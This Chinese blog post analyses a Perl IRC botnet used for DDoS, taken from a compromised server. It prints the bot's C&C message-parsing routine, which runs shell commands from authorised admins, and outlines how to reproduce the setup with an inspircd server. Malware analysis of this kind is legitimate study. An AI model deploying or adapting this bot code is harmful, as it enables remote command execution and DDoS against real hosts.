Author:berTrAM
最近得到一个在野的DDOS perl ircbot,虽然很多地方有记录,但是均没有完整分析,遂尝试分析功能以及复现攻击流程
ircbot:顾名思义,即通过irc服务器作为C&C来控制肉鸡
source code
部署
此处如果没有$server
传参就采用默认$server
@admins包含了可控的irc用户nick
@hostauth包含了可控的用户ip
@channel包含了改bot在进入irc服务器后自动加入的频道
功能分析
进程隐藏
随机获取一个进程名,并fork
main
- 首先通过conectar连接irc服务器
- 连接后持续监听在irc上,根据msg的值去控制是否进入parse
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {#:root!root@192.168.50.1 PRIVMSG #Perl :yep
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$vers."");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick-".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@channels) {
sendraw("MODE $nick +x");
sendraw("JOIN $canal");
sendraw("PRIVMSG $canal :4,1 [ Doss by Bab NhG ] linux exe ");
}
}
}
分析可以找到ircase
和bfunc
两个方法
ircase是对于bot在irc中的操作
而bfunc就是今天的主角,是最重要的任务分发部分,其中主要包含了四部分功能:帮助信息/IRC频道操作/DDOS模块/渗透辅助
How To Use
首先搭建一个irc服务器,我使用的是ubuntu+inspircd的组合
apt-get install inspircd
yep
vim /etc/inspircd/inspircd.conf
简单配置一下
service inspircd restart
上线irc服务
...then modify the config in the source code...
RESULT
后记
该样本通过IRC协议完成与C&C服务器的连接并接受攻击指令,具有十足的攻击性。但是从受害者服务器上获取的样本,并没有留有管理员的irc服务器(可能存在于原始进程,但是据说被管理人员kill了),以及config中没有配置完全,因此推断在此次的服务器入侵中并没有发挥完全作用
此处评论已关闭